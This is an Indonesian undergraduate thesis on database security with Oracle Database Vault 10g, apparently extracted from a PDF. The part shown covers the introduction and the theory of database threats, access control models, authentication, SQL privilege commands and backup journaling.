Anda di halaman 1dari 109

STUDI IMPLEMENTASI KEAMANAN BASIS DATA

DENGAN DATABASE VAULT


PADA ORACLE DATABASE 10G RELEASE 2

Laporan Tugas Akhir

Diajukan Untuk Melengkapi Salah Satu Syarat


Memperoleh Gelar Sarjana Komputer

Oleh:

RETNO MAROETI
4150411-061

PROGRAM STUDI TEKNIK INFORMATIKA


FAKULTAS ILMU KOMPUTER
UNIVERSITAS MERCU BUANA
JAKARTA
2009
BAB I

PENDAHULUAN

1.1 Latar Belakang

Keamanan basis data adalah mekanisme yang melindungi basis data dari

ancaman yang disengaja maupun tidak disengaja. Keamanan tidak hanya untuk

data pada basis data saja, kegagalan keamanan juga berakibat pada bagian lain

dari sistem yang pada akhirnya berakibat pada basis data. Sehingga keamanan

basis data juga merupakan keamanan pada hardware, software, orang dan data.

1.2 Identifikasi Masalah

Kebutuhan akan keamanan basis data bersifat dinamis, praktek dan

teknologi baru terus-menerus menyediakan arena bagi exploitasi unauthorized,

dan juga cara-cara baru penyalahgunaan untuk mempengaruhi bahkan juga

terhadap lingkungan dan produk yang telah stabil. Evolusi yang terjadi saat ini

melibatkan lingkungan kultural dan teknologi yang berubah secara global, dimana

perhatian terhadap keamanan perlu mempengaruhi baik dari penggunaan solusi

yang telah ada maupun pengembangan hal-hal baru.

Jenis penyalahgunaan basis data baik yang tidak disengaja maupun disengaja:

a. Tidak disengaja

- Kerusakan selama proses transaksi.

- Anomali yang disebabkan oleh akses database yang konkuren.

1
2

- Anomali yang disebabkan oleh pendistribusian data pada beberapa

komputer.

- Logika error yang mengancam kemampuan transaksi untuk

mempertahankan konsistensi basis data.

b. Disengaja

- Pengambilan data / pembacaan data oleh pihak yang tidak berwenang

- Perubahan data oleh pihak yang tidak berwenang.

- Penghapusan data oleh pihak yang tidak berwenang.

Berikut ini adalah pengelompokan isu-isu keamanan berdasarkan kategori,

sebagai usaha untuk menciptakan operasi secure didalam lingkungan yang secure:

- Fisik

Komputer harus dibuat tak bisa diakses secara fisik dari pemakai yang

tidak berwenang dengan menempatkannya di dalam lingkungan yang

terjamin.

- Personel

Pihak yang bertanggungjawab bagi keamanan fisik, administrasi sistem,

dan keamanan data harus terpercaya.

- Prosedural

Prosedur dan kebijakan yang dipergunakan dalam operasi pada sistem

harus menjamin data yang reliable (terpercaya). Dengan memisahkan

role-role fungsional dari pemakai di dalam manajemen data. Sebagai

contoh, satu orang bertanggungjawab untuk backup database. Rolenya

hanyalah memastikan database up dan jalan. Orang lain

bertanggungjawab untuk pelaporan aplikasi menyangkut data daftar gaji


3

atau data penjualan. Kewajibannya memeriksa data dan memverifikasi

integritasnya. Membuat kebijakan yang melindungi tabel dan schema

terhadap pengguna unauthorized maupun malicious.

- Teknikal

Penyimpanan, akses, manipulasi, dan transmisi data harus betul-betul

dijaga dengan teknologi yang menegakkan kebijakan kontrol informasi.

Pencegahan gangguan keamanan dari luar pada basis data telah banyak

diterapkan dimulai dari penggunaan firewall, aplikasi anti spam e-mail, anti

spyware, anti virus dan masih banyak lagi.

Namun bagaimana dengan ancaman dari pihak dalam pada basis data,

kemungkinan adanya karyawan yang tak setia atau korup. Salah satu cara untuk

mengantisipasi gangguan seperti tersebut diatas dapat menggunakan oracle

database 10g release 2 yang yang menyediakan semua fasilitas untuk

pengamanan data antara lain :

- Virtual Private Database Row level security

Membuat akses berdasarkan fungi kerja dengan, klasifikasi hari atau jam

penggunaan basis data, mendukung customizable, policy-based akses

control down ke level baris untuk menjalankan keamanan dan privasi data.

Kebijakan dirancang programmatically ditambahkan ke database object

(table, view), sehingga kebijakan dapat dijalankan tanpa memperhatikan

metode akses. Hal ini mengurangi masalah keamanan aplikasi serta

menyediakan penggabungan basis data serta melindungi pemisahan dari

individual set

- PL/SQL Encryption Package


4

Memberi kemudahan dalam penggunaan dan mendukung algoritma-

algoritma pada sistem

- Fine Grained Auditing

Dapat memperkecil kesalahan dalam audit atau audit yang yang sulit

dengan menspesifikasi kondisi audit yang diinginkan

Dan untuk lebih meningkatkan pengamanan dari basis data yang telah ada,

terdapat database vault yang merupakan mekanisme tambahan dari oracle

database 10g. Pengamanan untuk memproteksi aplikasi data dari akses DBA,

proteksi struktur database dari perubahan secara ilegal, akses kontrol secara

dinamis dan fleksibel sesuai dengan permintaan pengamanan.

Apakah dengan integrasi antara oracle database 10g dengan database

vault dapat dapat mendeteksi semua aktivitas pada basis data, memproteksi basis

data dari user yang tidak berhak dan memberikan laporan untuk proses audit perlu

analisa yang lebih mendalam.

1.3 Tujuan Penulisan

Tujuan dari pembuatan tugas akhir ini adalah:

Menganalisa kinerja dan mengkonfigurasi penggabungan keamanan oracle

database 10g itu sendiri dengan database vault dalam mekanisme keamanan basis

data. Apakah dengan integrasi antara oracle database 10g dengan database vault

dapat mendeteksi semua aktivitas pada basis data, memproteksi basis data dari

user yang tidak berhak dan memberikan laporan untuk proses audit.
5

1.4 Pembatasan Masalah

Masalah yang akan dibatasi dalam penyusunan tugas akhir ini adalah

analisa dan implementasi keamanan basis data dengan database vault pada oracle

database 10g dengan menggunakan sistem operasi Red Hat Entreprise Linux 4

Laporan Tugas Akhir hanya menekankan pada hal-hal berikut:

1. Analisa keamanan basis data yang dimiliki oleh oracle database

10g dan database vault dapat mendeteksi semua aktivitas pada

basis data, memproteksi basis data dari user yang tidak berhak dan

memberikan laporan untuk proses audit.

2. Konfigurasi database vault.

3. Pengujian dan implementasi database vault.

4. Basis data yang digunakan adalah oracle database 10g release 2.

5. Tidak membahas physical security database.

1.5 Metodologi Penelitian

1.5.1 Metodologi Pengumpulan Data

Cara pengumpulan data sebagai materi penyusunan Tugas Akhir

ini adalah sebagai berikut:

Metode Studi Literatur

Metode Studi Literatur adalah cara pengumpulan data dengan

menggunakan semua referensi yang berkaitan dengan pembuatan

tugas akhir untuk memperoleh data-data yang dikehendaki,


6

sehingga dapat dijadikan acuan dalam penulisan laporan tugas

akhir ini.

1.5.2 Analisa

Menganalisa keamanan basis data pada oracle database 10g dan

database vault dengan membuat skenario-skenario masalah yang

dapat mengganggu keamanan basis data.

1.5.3 Konfigurasi

Konfigurasi database vault pada oracle database 10g dan cara up-

grade/patch dari oracle database 10g enterprise edition release

10.2.0.1.0 menjadi 10.2.0.4.0 karena database vault hanya bisa

berjalan pada platform tersebut atau lebih tinggi.

1.5.4 Implementasi dan Pengujian

Membuat pengujian dan implementasi dari database vault yang

telah dikonfigurasi sebelumnya dengan menggunakan skenario-

skenario masalah yang telah dibuat sebagai bahan untuk menguji.


7

1.6 Sistematika Penulisan

Untuk mempermudah penyusunan dan menganalisa Tugas Akhir, maka

digunakan sistematika laporan sebagai berikut :

BAB I PENDAHULUAN

Bab ini menjelaskan tentang latar belakang masalah, dasar

pemilihan judul, tujuan dan kegunaan Tugas Akhir, pembatasan

masalah, metodologi penelitian dan sistematika penulisan.

BAB II LANDASAN TEORI

Bab ini membahas tentang teori yang menjadi dasar pembahasan,

antara lain: pengertian data, informasi, basis data, struktur oracle

database 10g, keamanan oracle database 10g, database vault.

BAB III ANALISA KEBUTUHAN DAN KONFIGURASI DATABASE

VAULT

Bab ini mejelaskan tentang analisa kebutuhan dan konfigurasi dari

database vault dan oracle database 10g

BAB IV IMPLEMENTASI DAN PENGUJIAN

Bab ini menjelaskan tentang implementasi dan pengujian dari hasil

analisa dan konfigurasi yang ada.

BAB V PENUTUP

Bab ini merupakan bagian terakhir dalam penulisan Tugas Akhir

yang berisi kesimpulan dan saran yang didasarkan atas uraian pada

bab-bab sebelumnya
BAB II

LANDASAN TEORI

2.1 Pengertian Data

Pada umumnya para pakar mendefinisikan data sesuai dengan bidang

ilmunya masing-masing sehingga:

- Data adalah deskripsi dari benda-benda dan kejadian - kejadian yang

selalu kita hadapi sehari-hari.

- Data dalah sekumpulan deskripsi dari benda-benda (resources) dan

kejadian-kejadian (transaksi-transaksi) yang selalu berinteraksi.

- Data adalah kumpulan dari fakta-fakta berupa simbol, lambang, huruf,

gambar.

2.2 Pengertian Informasi

Menurut para ahli, pengertian informasi adalah sebagai berikut :

a. Jogiyanto HM (2001,h8) :

Informasi adalah data yang diolah menjadi bentuk yang lebih

berguna dan lebih berarti bagi yang menerimanya.

b. Gordon B. Davis (1993,P6) :

Informasi adalah suatu data yang telah diolah menjadi bentuk yang

berarti bagi si penerima dan bermanfaat dalam pengambilan

keputusan saat ini atau akan datang.

8
9

Sumber dari informasi adalah data, yang merupakan keyataan yang

menggambarkan suatu kejadian dan kesatuan nyata. Data merupakan

bentuk yang masih mentah (raw) yang masih belum mampu bercerita

banyak, sehingga untuk menjadi informasi data harus diolah terlebih

dahulu.

Kualitas dari suatu informasi tergantung pada tiga hal pokok, yaitu :

a. Keakuratan

Informasi yang dihasilkan harus tepat, jelas dan mencerminkan

permasalahan yang dihadapi (tidak menyesatkan).

b. Ketepatan

Informasi yang diterima tidak terlambat. Keterlambatan informasi

dapat mengakibatkan nilai dari informasi tersebut akan berkurang.

c. Relevansi

Informasi yang dihasilkan harus bermanfaat dan sesuai dengan apa

yang dibutuhkan oleh pemakai.

Dari pendapat-pendapat yang telah dikemukakan diatas, penulis dapat

menarik sebuah kesimpulan bahwa yang dimaksud dengan informasi itu sendiri

adalah “Kumpulan data yang harus diolah terlebih dahulu sehingga bermanfaat

bagi pemakainya dalam mencapai suatu tujuan atau hasil tertentu.”

2.3 Pengertian Database

Dalam beberapa literature basis data telah didefiniskan dengan cara yang

berbeda-beda,salah satunya yang cukup lengkap adalah diberikan oleh James


10

Martin (1975) yaitu : “ A database may be defined as a collection of interrelated

data stored together without harmful or unnecessary redundancy to serve one

more application in an optimal fashion; the data are stored so that they are

independent of program with use the data; common and controlled approach its

use in adding new data and in modifying and retrieving existing data within the

database”

Sekumpulan data yang terhubung yang disimpan secara bersama-sama

dalam suatu media, tanpa kerangkapan data (kalaupun ada kerangkapan data

tersebut seminimal mungkin dan terkontrol, data disimpan dengan cara-cara

tertentu, sehingga mudah untuk digunakan, atau ditampilkan kembali dan dapat

digunakan lebih dari program aplikasi secara optimal, data disimpan tanpa

mengalami ketergantungan yang menggunakan sehingga proses penambahan,

pengambilan dan modifikasi dapat dilakukan dengan mudah serta terkontrol.

Karakteristik utama basis data adalah:

a. Merepresentasikan aspek dari dunia nyata,

b. Terstruktur dengan baik,

c. Dapat merepresentasikan kondisi saat ini (current state)

d. Ada penggunanya dan ada aplikasi,

e. Disimpan dalam memori komputer secara permanen, dan

f. Dapat diakses dan dimanipulasi menggunakan DBMS


11

2.3.1 Database Manajemen Sistem (DBMS)

DBMS adalah koleksi terpadu dari basis data dan program-

program komputer (utilitas) yang digunakan untuk mengakses dan

memelihara basis data.

Pengelolaan manajemen basis data antara lain:

- Pendefinisian struktur penyimpanan.

- Penyedian mekanisme untuk manipulasi informasi.

- Penyediaan keamanan dalam penarikan dan penyimpanan data dan

informasi.

Bahasa dalam DBMS :

- Data Definition Language (DDL)

DDL berfungsi untuk mendefinisikan data seperti membuat tabel,

membuat index tabel dan modifikasi tabel. Hasil perintah dari DDL

adalah suatu set dari tabel-tabel yang disimpan dalam file khusus

yang di sebut data dictionary. Perintah-perintah yang termasuk

dalam kategori ini adalah CREATE, ALTER, DROP, RENAME

dan TRUNCATE.

- Data Manipulation Language (DML)

DML merupakan bahasa DBMS yang berfungsi untuk

memanipulasikan dan mengambil data dari dan ke suatu database

manajemen sistem. Perintah-perintah yang termasuk dalam

kategori ini adalah INSERT, UPDATE dan DELETE.


12

Dalam DML ada dua tipe yaitu :

a. Prosedural: Type ini menuntut pemakai untuk memsepesifikasi

data apa yang akan digunakan dan bagaimana mendapatkan

data tersebut.

b. Non Prosedural: Type ini menuntut pemakai untuk

memsepesifiasikan data apa yang dibutuhkan tanpa

menspesifikasikan bagaimana mendapatkan.

- Data Control Language (DCL)

DCL berfungsi untuk melakukan keamanan database. Perintah-

perintah yang termasuk dalam kategori ini adalah GRANT dan

REVOKE.

2.3.2 Kegunaan Basis Data

a. Penyusunan suatu database digunakan untuk mengatasi jika

file dalam program aplikasi diciptakan oleh programmer yang

berbeda pada waktu yang berselang cukup panjang, maka ada

beberapa bagian data mengalami penggandaan pada file-file

yang berbeda.

b. Kesulitan dalam pengaksesan data

Kesulitan yang timbul dalam pengaksesan data, penyelesaian

untuk itu adalah kearah DBMS yang mampu mengambil data

secara langsung dengan bahasa yang familiar dan mudah

digunakan (user friendly).

c. Isolasi data untuk Standarisasi


13

Jika data tersebar dalam beberapa file dalam bentuk format

yang tidak sama, maka ini menyulitkan dalam menulis

program aplikasi untuk mengambil dan menyimpan data.

Maka haruslah data dalam suatu database dibuat satu format

sehingga mudah dibuat program aplikasinya.

d. Banyak Pemakai (multiple user)

Dalam rangka mempercepat semua daya guna sistem dan

mendapat responsi waktu yang cepat, beberapa sistem

mengijinkan banyak pemakai untuk mengupdate data secara

simultan, salah satu alasan mengapa database dibangun

karena nantinya data tersebut digunakan oleh banyak orang

dalam waktu yang berbeda, diakses oleh program yang sama

tetapi berbeda orang dan waktu. Semua ini memungkinkan

terjadi karena data yang diolah tidaklah tergantung dan

menyatu dalam program tetapi ia terlepas dalam satu

kelompok data.

e. Masalah Keamanan

Tidak setiap pemakai sistem basis data memperoleh akses

semua data. Keamanan ini dapat diatur lewat program yang

dibuat oleh pemprogram atau fasilitas keamanan dari sistem

operasi.

f. Masalah Kesatuan (Integrity)

Basis data berisi file-file yang saling berkaitan, masalah utama

adalah bagaimana kaitan antara file tersebut terjadi. Meskipun


14

kita mengetahui bahwa file A berkaitan dengan file B, namun

secara teknis maka ada file kunci yang mengaitkan kedua file

tersebut.

g. Masalah Kebebasan Data (Data Independence)

Paket bahasa yang diciptakan dari DBMS, apapun yang terjadi

pada struktur file, setiap kali kita hendak melihat data cukup

dengan utility list, hendak menambah data cukuplah dengan

APPEND. Ini berarti perintah-perintah dalam paket DBMS

bebas terhadap basis data. Apapun perubahan dalam basis

data, semua perintah akan mengalami kestabilan tanpa perlu

ada yang dirubah.

h. Kecepatan dan kemudahan (speed)

Agar pengguna basis data dapat menyimpan data, melakukan

perubahan/manipulasi terhadap data, menampilkan kembali

data dengan lebih cepat dan mudah dibandingkan dengan cara

biasa baik manual ataupun elektronik.

i. Efisiensi ruang penyimpanan

Mampu melakukan penekanan jumlah redundansi

(pengulangan) data, baik dengan menerapkan sejumlah

pengkodean atau dengan membuat relasi-relasi (dalam bentuk

file) antara kelompok data yang saling berhubungan

j. Keakuratan (accuracy)

Agar data sesuai dengan aturan dan batasan tertentu dengan

cara memanfaatkan pengkodean atau pembentukan relasi antar


15

data bersama dengan penerapan aturan/batasan (constraint)

tipe data, domain data, keunikan data dsb

k. Ketersediaan (availability)

Data yang sudah tidak dipakai/kadaluwarsa dipisahkan dari

sistem database yang sedang aktif baik dengan cara

penghapusan atau memindahkannya ke media backup untuk

menghemat ruang penyimpanan. Di sisi lain, juga dilakukan

pemanfaatan teknologi jaringan komputer agar data yang

berada di suatu lokasi/cabang daat juga diakses oleh

lokasi/cabang lainnya.

l. Kelengkapan (completeness)

Agar data yang dikelola senantiasa lengkap baik relatif

terhadap kebutuhan pemakai maupun terhadap waktu. Untuk

itu tidak hanya dengan melakukan penambahan record-record

data, tapi juga melakukan perubahan struktur pada basis data

(jika perlu) baik menambah field pada tabel ataupun bahkan

menambah tabel baru.

2.4 Keamanan Basis Data

2.4.1. Pengertian Keamanan Basis Data

Proteksi basis data terhadap ancaman/gangguan baik yang

disengaja maupun yang tidak disengaja melalui kendali yang bersifat

teknis maupun administrasi.


16

Menurut Silberschatz (2002, p239) ukuran keamanan yang dapat

diambil untuk melindungi basis data antara lain dari segi:

- Sistem Basis Data

Ada beberapa pengguna berwenang yang dizinkan untuk

mengakses bagian basis data tertentu dan ada para pengguna yang

lain hanya diizinkan untuk membaca data yang diinginkannya,

tetapi tidak punya hak untuk mengubahnya. Kewajiban dari sistem

basis data ini adalah menjaga batasan seperti di atas tetap terjaga

- Sistem Operasi

Tidak peduli betapa aman sistem basis datanya, apabila terjadi

kelemahan dalam sistem operasi. Hal ini sama artinya dengan

adanya akses yang tidak diinginkan dalam basis data. Jadi tingkat

keamanan perangkat lunak dalam sistem operasi sangatlah penting

seperti halnya keamanan yang dilakukan secara fisik.

- Jaringan

Seluruh sistem basis data memperbolehkan untuk mengakses lewat

terminal atau jaringan, keamanan software-level dalam software

jaringan sangat penting sebagai keamanan fisik, keduanya

dibutuhkan dalam internet dan jaringan pribadi.

- Fisik

Situs yang mengandung sistem komputer harus secara fisik aman

dari entri secara diam-diam dan bahaya oleh para penyelundup.


17

- Manusia

Autorisasi pada pengguna harus dilakukan secara hati-hati untuk

mengurangi adanya kejadian dimana pengguna yang berwenang

memberikan akses kepada orang lain dengan imbalan suap atau

lainnya.

Secara garis besar keamanan sistem informasi dan komputer dapat

dibagi dua yaitu keamanan secara fisikal dan secara logikal.

- Fisikal

Secara fisik berarti bagaimana mengamankan semua infrastruktur

peralatan sistem keamanan baik dari sisi server, ruangan, kabel,

system backup redundant system, system cadangan power listrik

dan lain-lain.

- Logikal

Keamanan secara logikal tentang metode keamanan seperti

protocol yang digunakan, metode komunikasi datanya, model basis

datanya dan sistem operasinya.

Aspek keamanan seringkali ditinjau dari:

- Confidentiality

- Integrity

- Availability

- Non-Repudiation

Merupakan aspek yang sangat penting dalam transaksi elektronik.

Aspek non-repudiation menjamin bahwa pelaku transaksi tidak

dapat mengelak atau menyangkal telah melakukan transaksi


18

- Standar pengamanan

- Evaluasi secara berkala

Keamanan basis data berkaitan dengan situasi sebagai berikut:

- Pencurian (theft dan fraud.)

- Kehilangan kerahasiaan (loss of confidentiality dan privacy).

Kerahasiaan dapat diartikan sebagai perlindungan terhadap data

dalam sistem informasi perusahaan, sehinggga tidak dapat diakses

oleh orang yang tidak berhak. Banyak yang beranggapan bahwa

tipe perlindungan seperti ini hanya penting untuk kalangan militer

dan pemerintahan, dimana mereka perlu merahasiakan rencana dan

data penting. Akan tetapi kerahasian juga sangat penting bagi

kalangan bisnis yang perlu melindungi rahasia dagang mereka dari

kompetitor, atau untuk mencegah akses terhadap data-data yang

dianggap sensitive oleh orang-orang yang tidak berhak didalam

perusahaan.

- Kehilangan integritas (loss of integrity)

Integritas adalah perlindungan terhadap dalam sistem dari

perubahan yang tidak terotorisasi, baik secara sengaja maupun

secara tidak sengaja.Tantangan yang dihadapi setiap sistem

keamanan informasi adalah untuk memastikan bahwa data

terpelihara dalam keadaan yang sesuai dengan harapan dari user.

Walau tidak dapat meningkatkan akurasi dari data yang dimasukan

kedalam sistem oleh user, inisiatif keamanan informasi


19

memastikan bahwa setiap perubahan memang benar-benar

dikehendaki dan dilakukan secara benar.

- Kehilangan ketersediaan (loss of availability).

Ketersediaan ini dapat diartikan sebagai kepastian bahwa sebuah

sistem informasidapat diakses oleh user yang berhak kapan saja

sistem informasi tersebut dibutuhkan.

Pengertian ancaman (threat), kerentanan (vulnerability), resiko

(risk) dan akibat (exposure) pada keamanan basis data.

- Ancaman (threat )

Situasi, potensi atau kejadian baik di sengaja maupun tidak, yang

dapat mempengaruhi sistem dan organisasi.

Tabel 2.1 Ancaman terhadap security database


Theft
Loss of Loss of Loss of Loss of
Ancaman and
Confidentiality Privacy Integrity Availability
Fraud
Menggunakan akses
  
orang lain
Alterasi Program   
Kebijaksanaan dan
prosedur yang tidak
memadai yang
  
mengijinkan
tercampurnya output yang
biasa dan rahasia
Wire Taping   
Entri ilegal oleh hacker   
Pemerasan (blackmail )   
Membuat pintu jebakan
  
pada sistem
Pencurian data, program
   
dan peralatan
Kegagalan mekanisme
keamanan, memberikan   
akses melebihi normal
20

Tabel 2.1 Ancaman terhadap security database (lanjutan)


Theft
Loss of Loss of Loss of Loss of
Ancaman and
Confidentiality Privacy Integrity Availability
Fraud
Pengurangan pegawai
 
(phk) atau mogok kerja
Pelatihan staff yang
   
kurang memadai
View dan disclosed data
  
rahasia
Gangguan elektronik dan
 
radiasi
Data rusak karena listrik
 
padam
Kebakaran  
Kerusakan fisik pada
 
peralatan
Kabel rusak atau putus  
Virus  

Berikut ini adalah pengelompokan ancaman pada sistem komputer

berdasarkan kategori:

1. Perangkat keras: kebakaran, banjir, bom, pencurian, listrik, gempa,

radiasi, kesalahan mekanisme keamanan.

2. Jaringan komunikasi: kabel yang tidak terkoneksi, radiasi.

3. Database: aturan/amandemen yang tidak diotorisasi, penduplikatan

data, pencurian data, kehilangan data akibat gangguan listrik

4. DBMS dan Program Aplikasi: kesalahan mekanisme keamanan,

akses yang terlalu luas, pencurian program, kesalahan program.

5. Pengguna akhir (end user): menggunakan hak akses orang lain,

melihat dan menutup data yang tidak diotorisasi, staf tidak

ditraining, pemasukan data yang dilakukan oleh yang tidak berhak,

virus, pemerasan.
21

6. Programer/operator: membuat password, membuat program yang

tidak aman, staf yang tidak ditraining, kebijakan keamanan dan

prosedur, pemogokan staf.

7. Database administrator : kebijakan keamanan & prosedur

- Kerentanan (vulnerability)

Software, hardware atau prosedur yang lemah sebagai pintu bagi

para penyerang. Hal yang rentan dapat berupa servis pada server

yang sedan berjalan, modem dial-in akses yang tidak dibatasi,

terbukanya port pada firewall, kurangnya keamanan fisik sehingga

semua orang dapat masuk ruang server, kurang kuatnya

manajemen password pada server dan workstation.

- Resiko (risk)

Kemungkinan kehilangan, ancaman yang mengeksploitasi hal yang

rentan, seperti firewall yang memiliki banyak port memiliki resiko

yang lebih tinggi untuk diserang pengganggu.

- Kerugian (exposure )

Contoh dari sesuatu yang hilang karena ancaman, seperti

manajemen dan prosedur dari akses pengguna yang kurang

sehingga dapat digunakan oleh pihak lain yang menyebabkan

organisasi mengalami kerugian.


22

Berikut ini adalah hubungan antar komponen keamanan

membuat
Threats
Agents
mengeksploitasi
Ancaman
(threats) menjadi

Kerentanan
(vulnerability)
secara Resiko
langsung (risk)
berakibat pada

Aset
dapat merusak

Kerugian
(exposure)
menyebabkan
Tindakan
pertahanan
(safe guard) dapat diantisipasi oleh

Gambar 2.1 Hubungan komponen keamanan

[Referensi:CISSP Certification Guide,2007]

2.4.2. Pengendalian Keamanan

Pengendalian keamanan berbasis komputer yang telah banyak

digunakan antara lain:

- Autorisasi (authorization)

Pemberian hak yang memungkinkan seseorang secara sah

mengakses sistem atau objek (tabel, view, aplikasi, prosedur, objek

lain dalam sistem).

Kendali autorisasi (kontrol akses) dapat dibangun pada perangkat

lunak dengan 2 fungsi:

1. Mengendalikan sistem atau obyek yang dapat diakses.

2. Mengendalikan bagaimana pengguna menggunakannya.


23

Teknik kontrol akses yang sering digunakan:

Mandatory access control

Memberikan sebuah label keamanan terhadap semua subyek

dan obyek yang ada dalam sebuah sistem

Tabel 2.2 Klasifikasi data komersial


Clasification Description
Public Data tidak di lindungi dimanapun
Informasi bisa berpengaruh terhadap bisnis dan
Sensitive kepercayaan
public jika tidak dilindungi dengan baik
Informasi personal yang bisa berakibat negatif
Private terhadap
seseorang jika bocor
Informasi perusahaan yang bisa berakibat negatif
Confidential terhadap
organisasi jika bocor

Directional access control

Mempergunakan identitas dari subyek untuk menentukan

apakah permintaan akses tersebut akan dipenuhi atau di tolak.

Metode ini lebih mudah di implementasikan dan lebih

fleksibel. Setiap obyek memiliki permissions, yang

menentukan user atau group yang bisa melakukan akses

terhadap obyek.

Non-discretionary access control

Tipe kontrol akses ini cocok dipakai pada kasus high

turnover atau reassginments. Ketika security di asosiasikan

kedalam sebuah role atau task, mengganti orang yang

mengerjakan tugas membuat security administration lebih

mudah.
24

Penentuan administrasi kontrol akses:

Centralized access control

Memerlukan sebuah pusat keamanan yang bisa menentukan

apakah sebuah permintaan akan disetujui atau ditolak.

Pendekatan ini sangat mudah karena obyek hanya di pelihara

pada lokasi yang tunggal. Salah satu kelemahannya adalah

central access control bisa menjadi sebuah single point of

failure. Jika central access control rusak, maka semua obyek

tidak akan bisa diakses. Dampak negatif yang lainnya adalah

dalam masalah perfomance, jika sistem tidak bisa memenuhi

semua permintaan dari user

Decentralized access control

Meletakan tanggung jawab dari lebih dekat terhadap obyek.

Pendekatan ini memerlukan lebih banyak administrasi

daripada centralized access control karena sebuah obyek

mungkin saja memerlukan kondisi yang sangat aman pada

lokasi tertentu. Tapi hal ini bisa lebih stabil karena tidak ada

Single Point Of Failure. Decentralized Access Control

biasanya diimplementasikan memakai security domain.

Security domain adalah bagian sebuah kepercayaan, atau

koleksi dari obyek dan subyek, yang mendefinisikan access

rule dan permisions. Subyek harus termasuk dalam domain

tersebut. Pendekatan ini bisa memudahkan untuk

mengeluarkan subyek yang dicurigai, tetapi bisa membuat


25

administrasi secara umum lebih sulit karena berbagai macam

variasi dari peraturan keamanan.

Model-model akses control

Menyediakan view konseptual dari kebijakan keamanan. Hal

ini akan mengijinkan kita untuk melakukan pemetaan antara tujuan

dan petunjuk dari kebijakan keamanan anda terhadap event yang

spesifik. Proses dari pemetaan ini memungkinkan terbentuknya

definisi formal dan spesifikasi yang diperlukan dalam melakukan

kontrol terhadap keamanan. Singkatnya, access control model

memungkinkan untuk memilah kebijakan keamanan yang

kompleks menjadi langkah–langkah keamanan yang lebih

sederhana dan terkontrol

State Machine Model

Kumpulan dari defined instances, yang disebut state, dan

sebuah transisi yang spesifik yang diijinkan untuk melakukan

modifikasi terhadap obyek dari satu state ke state berikutnya.

State machine sering dipakai untuk real-life entities ketika

state yang spesifik dan transisinya ada dan dimengerti.

Ketika sebuah subyek meminta untuk membaca sebuah

obyek, harus ada sebuah transisi yang mengijinkan untuk

merubah sebuah obyek yang closed menjadi open obyek.

Model Bell-LaPadula
26

Model state machine yang membuat daftar kontrol akses dan

label keamanan untuk mengimplementasikan keamanan

objek.

Model Biba

Dibangun berbasis model state machine dan mendefinisikan

state dan transisi yang berfokus pada integritas data, bukan

kerahasiaan. Fokus utamanya adalah untuk menjamin bahwa

subyek yang tidak memiliki otoritas tidak dapat melakukan

perubahan terhadap obyek.

Model Clark-Wilson

Tidak berbasis pada model state machine. Model ini

menggunakan pendekatan yang berbeda untuk menjamin

integritas data. Model Clark-Wilson tidak melakukan

pemberian akses suatu subjek terhadap obyek, melainkan

memblok semua akses terhadap sejumlah kecil program

akses yang dikontrol secara ketat. Pendekatan ini berhasil

dalam aplikasi komersial dimana integritas data seringkali

lebih penting daripada kerahasiaan data secara keseluruhan.

Model Noninterference

Menjamin bahwa perubahan pada sustu tingkat keamanan

tidak mengorbankan level keamanan lainnya dan

mempengaruhi suatu objek dalam konteks yang lain. Dasar

pemikiran dari model noninterference adalah bahwa setiap

tingkatan keamanan memiliki perbedaan dan perubahan tidak


27

akan berpengaruh terhadap tingkatan lain. Jaminan ini

mempersempit cakupan suatu perubahan dan mengurangi

kemungkinan bahwa suatu perubahan memiliki efek samping

yang tidak disengaja. Dengan menutup kemungkinan

modifikasi terhadap tingkatan keamanan tertentu, model ini

dapat memlihara integritas dan kerahasasiaan data.

Autentifikasi

Mekanisme yang menentukan siapakah seseorang tersebut.

Masing-masing pengguna telah diberikan identifikasi unik yang

digunakan sistem operasi untuk menentukan siapakah pengguna

tersebut.

Tabel 2.3 Tipe-tipe autentifikasi


Authentification Type Description Examples
Password, passphrase, PIN, lock
Type 1 What you know
combination
Type 2 What you have Smart card, token device
Biometrics – fingerprint, palm
Type 3 What you are print, retina/iris pattern, voice
pattern

- Tabel views

Merupakan metode pembatasan bagi pengguna untuk mendapatkan

model database yang sesuai dengan kebutuhan perorangan. Metode

ini dapat menyembunyikan data yang tidak digunakan atau tidak

perlu dilihat oleh pengguna.


28

Contoh pada database relasional, untuk pengamanan dilakukan

beberapa level:

Relasi, pengguna diperbolehkan atau tidak diperbolehkan

mengakses langsung suatu relasi.

View, pengguna diperbolehkan atau tidak diperbolehkan

mengakses data yang terdapat pada view.

Read Authorization, pengguna diperbolehkan membaca data,

tetapi tidak dapat memodifikasi.

Insert Authorization, pengguna diperbolehkan menambah

data baru, tetapi tidak dapat memodifikasi data yang sudah

ada.

Update Authorization, pengguna diperbolehkan memodifikasi

data, tetapi tidak dapat menghapus data.

Delete Authorization, pengguna diperbolehkan menghapus

data.

Untuk Modifikasi data terdapat autorisasi tambahan:

Index Authorization, pengguna diperbolehkan membuat dan

menghapus index data.

Resource Authorization, pengguna diperbolehkan membuat

relasi-relasi baru.

Alteration Authorization, pengguna diperbolehkan menambah

atau menghapus atribut suatu relasi.

Drop Authorization, pengguna diperbolehkan menghapus

relasi yang sudah ada.


29

Contoh perintah menggunakan SQL :

GRANT : memberikan wewenang kepada pemakai

Syntax : GRANT <priviledge list> ON <nama relasi/view>

TO <pemakai>

Contoh :

GRANT SELECT ON S TO BUDI

GRANT SELECT, UPDATE (STATUS,KOTA) ON S TO

ALI,BUDI

REVOKE : mencabut wewenang yang dimiliki oleh pemakai

Syntax: REVOKE <priviledge list> ON <nama relasi/view>

FROM <pemakai>

Contoh:

REVOKE SELECT ON S TO BUDI

REVOKE SELECT, UPDATE (STATUS,KOTA) ON S TO

ALI,BUDI

Priviledge list: READ, INSERT, DROP, DELETE,

ALTERATION, RESOURCE

- Backup data dan recovery

Backup: proses secara periodik untuk mebuat duplikat dari

database dan melakukan logging file (atau program) ke media

penyimpanan eksternal.

Jurnaling: proses menyimpan dan mengatur log file dari semua

perubahan yang dibuat di database untuk proses recovery yang

efektif jika terjadi kesalahan.


30

Isi Jurnal:

1. Record transaksi

- Identifikasi dari record.

- Tipe record jurnal (transaksi start, insert, update, delete,

abort, commit)

- Item data sebelum perubahan (operasi update dan delete)

- Item data setelah perubahan (operasi insert dan update)

- Informasi manajemen jurnal (misal : pointer sebelum dan

record jurnal selanjutnya untuk semua transaksi

2. Record checkpoint: suatu informasi pada jurnal untuk

memulihkan database dari kegagalan, kalau sekedar undo

(seperti fungsi yang dimiliki pada ms.excel) akan sulit jurnal

